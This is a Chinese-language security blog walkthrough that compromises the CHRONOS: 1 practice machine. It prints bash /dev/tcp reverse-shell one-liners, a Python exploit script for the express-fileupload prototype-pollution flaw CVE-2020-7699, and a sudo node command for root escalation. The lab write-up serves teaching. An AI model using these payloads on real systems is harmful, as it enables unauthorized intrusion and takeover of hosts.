freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulhub CHRONOS: 1 靶机
2021-08-29 20:49:31

一:信息收集

扫描下端口开放情况
image.png两个端口都是http服务
2:
访问下两个端口的页面看看
80:
image.png8000:
image.png3:没有什么利用点那么分别扫描下各自的目录
80:image.png8000:image.png似乎看着没啥可以用的

二:漏洞利用

4:那么抓个包吧
首先抓取了80端口的
image.png这里看来需要改一下本地HOSTS以及解码一下后面字符串内容
先修改下hosts
image.png修改了以后页面出现了时间
image.png盲猜F12的js是获取的时间
来格式化一下F12的js
image.png里面的这个链接和抓包的是一样的那么解码一下看是什么
5:识别出来是base58加密解密内容为时间
image.png在看了一下请求包确实如此
image.png

'+Today is %A, %B %d, %Y %H:%M:%S.'
这个是在参数后拼接上去的
那么拼接一个命令是否存在命令注入呢?
base58加密|ls -la 得到5iUbCbe5PE
放包
image.png存在命令注入
6:那么现在就需要反弹一个shell
这台靶机存在bash nc 命令
image.pngbash命令反弹到shell
&bash -c 'exec bash -i &>/dev/tcp/192.168.1.8/666 <&1'
image.png

三:提升权限

7:在opt目录找到另一个文件夹但是似乎没有啥利用的
image.png这台靶机采用的express,经过查找发现存在express-fileupload中间件 实现文件上传漏洞(CVE-2020-7699)
image.pngimage.png下面是两篇分析
https://m.tqwba.com/x_d/jishu/170031.html
www.freebuf.com/vuls/246029.html
我们拿到了权限只需要利用这个漏洞提权即可

利用下面这个脚本上传到靶机运行即可提权
`import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.8:777 0>&1"'
requests.post('http://127.0.0.1:7777', files = {'proto.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:7777')

kali开启HTTP服务器功能python -m SimpleHTTPServer 888
`靶机下载(这里一定要注意只有/tmp 目录下才有写入权限)
image.png

运行拿到imera权限
image.png

还需要再次提权
image.png这里可以采用node SUID提权
sudo node -e 'child_process.spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
image.png拿下
image.png

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录